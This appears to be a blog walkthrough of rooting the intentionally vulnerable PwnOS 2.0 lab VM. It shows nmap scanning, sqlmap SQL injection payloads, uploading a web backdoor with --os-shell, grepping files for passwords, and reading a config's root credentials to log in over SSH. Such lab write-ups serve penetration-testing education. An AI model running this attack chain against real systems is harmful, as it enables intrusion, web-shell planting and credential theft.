PwnOS2 – Boot2Root image
PwnOS 2.0 is a vulnerable-by-design application stack. These machines are often affectionately referred to as “Boot2Root” machines, as the goal is to compromise the machine and elevate your privileges to that of the root user (*nix based systems) or Administrator (Windows systems) user.
This post is essentially a walkthrough of the methods I used to ‘root the box’. Keep in mind that there are more potential avenues for success.
Setup:
Create a new VM in virtualbox - instead of creating a new hard drive, point it to the .vmdk file in the pwnos2 folder you downloaded and extracted. I left mine with the default recommended RAM.
Configure a router, and network connection, with the following settings:
Router: 10.10.10.15
DHCP is fine, or you can manually assign your own IP address in this network
[Click Read More to reveal the walkthrough]
When we turn the machine on, we see that there is a log in screen. We do not know the username and password, and therefore, cannot log in. Rest assured, that if you have set up the network as described in the “Setup” section above (or followed the instructions in the readme file), the system will be there… waiting.
I first ran my go-to Nmap ping scan. I know that my IP address is 10.10.10.200, and the router’s is 10.10.10.15 – so it looks like the target is 10.10.10.100.
$ nmap -sP 10.10.10.1/24
Starting Nmap 6.46 ( http://nmap.org ) at 2015-01-29 15:12 EST
mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 10.10.10.15
Host is up (0.00084s latency).
Nmap scan report for 10.10.10.100
Host is up (0.00031s latency).
Nmap scan report for 10.10.10.200
Host is up (0.00033s latency).
Nmap done: 256 IP addresses (3 hosts up) scanned in 3.22 seconds
I then tried to perform an NMAP port scan for the host. Unfortunately, this yielded absolutely nothing. This doesn’t necessarily mean that there’s nothing there, it could simply mean that a clever network engineer or sys admin wanted to prevent port scanning – security through obscurity!
I navigated to the host in a web browser (http://10.10.10.100) and saw that a web application was being served.
I fired up Firefox, set the proxy to match my Burp Suite proxy settings (for me, 127.0.0.1:8888), so that I could observe all traffic sent. This is particularly useful for providing authentication cookies and POST request data to SQLMap, and I do this by habit every time I assess a web application. I also do this so that I have evidence of my interactions with a web application during a professional penetration test – just in case this is ever requested by the client, or I am being accused of non adhering to the agreed scope (this has never happened, but it’s better to have a paper trail in the event that I ever do need it).
I attempted to authenticate to the web app via Firefox. I just tried the username ‘admin’ and the password ‘password’ – this has a success rate which is greater than you might expect, however, in this circumstance, it didn’t work out.
Authentication forms are a great place to attempt SQL Injection attacks. This is usually the first input I try to exploit via SQL Injection for a two reasons: 1: I might get lucky and successfully bypass authentication, and 2: it does not usually store information that is accessible to users – this means there is a significantly reduced chance for disruption to users of production systems.
I did this by attempting the username “user” and the password “foo’”. Notice the extra single quote. There are some great, in-depth write-ups which explain SQL Injections, so I’ll just add a simple statement and you can do some independent research:
When an application is vulnerable to SQL Injection, it is vulnerable because the code trusts the input from the user and does not properly employ sanitization. The input is placed directly into a SQL query, and is wrapped with double or single quotes. If you add your own matching quote, you may be able to add, or remove, parts of the query.
I determined that the password field was unlikely to be vulnerable because I was not presented with an error page. This time, I’ll try the username field. I entered the username “foo’” and the password “foo”. This did result in an error message, and it also included a stack-trace (the error message and the offending code).
Now that I know it is vulnerable to SQL Injection, I can either exploit it manually or I can use a tool such as SQLMap. SQLMap is great. By default it avoids running queries that are known to be harmful on some systems. There is still a chance that something can go wrong, however, the inherent risk here is quite low with its default settings. I decide to use SQLMap instead of performing this task manually.
Remember how I mentioned that Burp is useful for creating SQLMap commands? I copied the URL, cookies, and POST data from Burp, and used it to construct my SQLMap command:
sqlmap -u http://10.10.10.100/login.php --cookie="Cookie: PHPSESSID=fbjgi2blgalb5df3i5ipbtdna1" --data="email=email&pass=password&submit=Login&submitted=TRUE"
SQLMap agrees that the parameter ‘email’ is vulnerable to injection attacks:
$ sqlmap -u http://10.10.10.100/login.php --cookie="Cookie: PHPSESSID=fbjgi2blgalb5df3i5ipbtdna1" --data="email=user%40example.com&pass=password&submit=Login&submitted=TRUE"
sqlmap/0.9 - automatic SQL injection and database takeover tool
http://sqlmap.sourceforge.net
[*] starting at: 11:36:17
[11:36:17] [INFO] using '/usr/local/Cellar/sqlmap/0.9/output/10.10.10.100/session' as session file
[11:36:17] [INFO] testing connection to the target url
you provided an HTTP Cookie header value. The target url provided its own Cookie within the HTTP Set-Cookie header. Do you want to continue using the HTTP Cookie values that you provided? [Y/n] n
[11:36:20] [INFO] testing if the url is stable, wait a few seconds
[11:36:21] [INFO] url is stable
[11:36:21] [INFO] testing if POST parameter 'email' is dynamic
[11:36:21] [WARNING] POST parameter 'email' is not dynamic
[11:36:21] [INFO] heuristic test shows that POST parameter 'email' might be injectable (possible DBMS: MySQL)
[11:36:21] [INFO] testing sql injection on POST parameter 'email'
[11:36:21] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[11:36:21] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause'
[11:36:21] [INFO] POST parameter 'email' is 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause' injectable
[11:36:21] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[11:36:21] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[11:36:21] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[11:36:21] [INFO] target url appears to be UNION injectable with 8 columns
[11:36:21] [INFO] POST parameter 'email' is 'MySQL UNION query (NULL) - 1 to 10 columns' injectable
POST parameter 'email' is vulnerable. Do you want to keep testing the others? [y/N] n
sqlmap identified the following injection points with a total of 32 HTTP(s) requests:
---
Place: POST
Parameter: email
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: [email protected]' AND (SELECT 4403 FROM(SELECT COUNT(*),CONCAT(CHAR(58,122,103,98,58),(SELECT (CASE WHEN (4403=4403) THEN 1 ELSE 0 END)),CHAR(58,104,114,121,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) AND 'gEwy'='gEwy&pass=password&submit=Login&submitted=TRUE
Type: UNION query
Title: MySQL UNION query (NULL) - 1 to 10 columns
Payload: [email protected]' UNION ALL SELECT NULL, NULL, NULL, CONCAT(CHAR(58,122,103,98,58),IFNULL(CAST(CHAR(79,77,103,78,119,67,103,71,69,73) AS CHAR),CHAR(32)),CHAR(58,104,114,121,58)), NULL, NULL, NULL, NULL# AND 'GMuc'='GMuc&pass=password&submit=Login&submitted=TRUE
---
[11:36:25] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.3.5, Apache 2.2.17
back-end DBMS: MySQL 5.0
[11:36:25] [INFO] Fetched data logged to text files under '/usr/local/Cellar/sqlmap/0.9/output/10.10.10.100'
[*] shutting down at: 11:36:25
Now, we have some options. We can enumerate the database to see if there are any prizes waiting within (maybe the passwords to the GUI, credit card information, secrets, etc), or we can try to have SQLMap upload a shell (the success of this depends on whether the system user running the database has the appropriate file system permissions to write data to the host). I decide to try for a shell. This was successful.
$ sqlmap -u http://10.10.10.100/login.php --cookie="Cookie: PHPSESSID=fbjgi2blgalb5df3i5ipbtdna1" --data="email=user%40example.com&pass=password&submit=Login&submitted=TRUE" --os-shell
sqlmap/0.9 - automatic SQL injection and database takeover tool
http://sqlmap.sourceforge.net
[*] starting at: 11:36:30
[11:36:30] [INFO] using '/usr/local/Cellar/sqlmap/0.9/output/10.10.10.100/session' as session file
[11:36:30] [INFO] resuming injection data from session file
[11:36:30] [INFO] resuming back-end DBMS 'mysql 5.0' from session file
[11:36:30] [INFO] testing connection to the target url
you provided an HTTP Cookie header value. The target url provided its own Cookie within the HTTP Set-Cookie header. Do you want to continue using the HTTP Cookie values that you provided? [Y/n] n
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: email
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: [email protected]' AND (SELECT 4403 FROM(SELECT COUNT(*),CONCAT(CHAR(58,122,103,98,58),(SELECT (CASE WHEN (4403=4403) THEN 1 ELSE 0 END)),CHAR(58,104,114,121,58),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) AND 'gEwy'='gEwy&pass=password&submit=Login&submitted=TRUE
Type: UNION query
Title: MySQL UNION query (NULL) - 1 to 10 columns
Payload: [email protected]' UNION ALL SELECT NULL, NULL, NULL, CONCAT(CHAR(58,122,103,98,58),IFNULL(CAST(CHAR(79,77,103,78,119,67,103,71,69,73) AS CHAR),CHAR(32)),CHAR(58,104,114,121,58)), NULL, NULL, NULL, NULL# AND 'GMuc'='GMuc&pass=password&submit=Login&submitted=TRUE
---
[11:36:31] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.3.5, Apache 2.2.17
back-end DBMS: MySQL 5.0
[11:36:31] [INFO] going to use a web backdoor for command prompt
[11:36:31] [INFO] fingerprinting the back-end DBMS operating system
[11:36:31] [INFO] the back-end DBMS operating system is Linux
[11:36:31] [INFO] trying to upload the file stager
which web application language does the web server support?
[1] ASP
[2] ASPX
[3] PHP (default)
[4] JSP
>
[11:36:36] [WARNING] unable to retrieve the web server document root
please provide the web server document root [/var/www/]:
[11:36:41] [WARNING] unable to retrieve any web server path
please provide any additional web server full path to try to upload the agent [Enter for None]:
[11:36:45] [INFO] the file stager has been successfully uploaded on '/var/www' ('http://10.10.10.100:80/tmpuhkbt.php')
[11:36:46] [WARNING] unable to upload the backdoor through the file stager on '/var/www'
[11:36:46] [WARNING] backdoor has not been successfully uploaded with file stager probably because of lack of write permission.
do you want to try the same method used for the file stager? [y/N] y
[11:36:54] [INFO] the backdoor has probably been successfully uploaded on '/var/www', go with your browser to 'http://10.10.10.100:80//tmpbpluy.php' and enjoy it!
[11:36:54] [INFO] calling OS shell. To quit type 'x' or 'q' and press ENTER
os-shell>
Now that we have a shell, we should see what level of access we have. One way of doing this is to issue the whoami command. If it’s root, we’re in business.
os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a] y
command standard output:
---
www-data
---
os-shell>
#sadface. No root access. There are many ways to escalate privileges on a machine, depending on its configuration and patch management lifecycle. I like to see if anybody has made the mistake of leaving passwords laying around before looking for un-patched, installed software and services. Let’s see what directory we're in.
os-shell> pwd
do you want to retrieve the command standard output? [Y/n/a] y
command standard output:
---
/var/www
---
os-shell>
We are in /var/www. Let’s look for any occurrences of the string “password”, recursively, from the /var directory. We know that we are not a privileged user, and we don’t want to be bombarded with file names which we are unable to view, so we add an exclusion for that in our command.
os-shell> grep -Ril "password" ../ | grep -v "Permission denied"
do you want to retrieve the command standard output? [Y/n/a]
command standard output:
---
../mysqli_connect.php
../lib/python-support/python2.7/pycurl.so
../lib/python-support/python2.7/launchpadlib-1.9.7.egg-info/PKG-INFO
../lib/python-support/python2.7/smart/interface.pyc
../lib/python-support/python2.7/smart/fetcher.py
../lib/python-support/python2.7/smart/util/pexpect.py
../lib/python-support/python2.7/smart/util/ssh.py
../lib/python-support/python2.7/smart/util/ssh.pyc
../lib/python-support/python2.7/smart/interface.py
../lib/python-support/python2.7/smart/fetcher.pyc
../lib/python-support/python2.7/smart/interfaces/qt/interface.pyc
../lib/python-support/python2.7/smart/interfaces/qt/interface.py
../lib/python-support/python2.7/smart/interfaces/text/interface.pyc
../lib/python-support/python2.7/smart/interfaces/text/interface.py
../lib/python-support/python2.7/curl/__init__.py
../lib/python-support/python2.7/launchpadlib/credentials.pyc
../lib/python-support/python2.7/launchpadlib/testing/helpers.pyc
--SNIP—
The first result looks like it could be an interesting file. Maybe the database password is in there?
os-shell> cat ../mysqli_connect.php
do you want to retrieve the command standard output? [Y/n/a]
command standard output:
---
<?php # Script 8.2 - mysqli_connect.php
// This file contains the database access information.
// This file also establishes a connection to MySQL
// and selects the database.
// Set the database access information as constants:
DEFINE ('DB_USER', 'root');
DEFINE ('DB_PASSWORD', 'root@ISIntS');
DEFINE ('DB_HOST', 'localhost');
DEFINE ('DB_NAME', 'ch16');
// Make the connection:
$dbc = @mysqli_connect (DB_HOST, DB_USER, DB_PASSWORD, DB_NAME) OR die ('Could not connect to MySQL: ' . mysqli_connect_error() );
?>
---
os-shell>
Yeah, that’s a password alright. The username is ‘root’, perhaps that’s also the root user password for the system? Let’s see if SSH is up and running, and if it will accept those credentials.
$ ssh [email protected]
[email protected]'s password:
Welcome to Ubuntu 11.04 (GNU/Linux 2.6.38-8-server x86_64)
* Documentation: http://www.ubuntu.com/server/doc
System information as of Wed Jan 28 22:55:32 EST 2015
System load: 0.0 Processes: 93
Usage of /: 2.9% of 38.64GB Users logged in: 0
Memory usage: 38% IP address for eth0: 10.10.10.100
Swap usage: 0%
Graph this data and manage this system at https://landscape.canonical.com/
Last login: Wed Jan 28 22:42:19 2015 from 10.10.10.200
root@web:~#
Well, that was nice and easy. We now have root access on the machine. If this was a real penetration test, we could leverage those credentials to attempt to pivot to other machines on the network and see how far our little rabbit hole goes – but what if someone notices that a SQL injection has occurred and patches the vulnerability while we are still relying on this access? We should probably create our own little backdoor to the system. I’ll leave you to experiment with that one. Don't forget to thoroughly clean up after yourself. It would be extremely terrible to leave a backdoor on a system - your job is to help remediate vulnerabilities, not introduce new vulnerabilities!











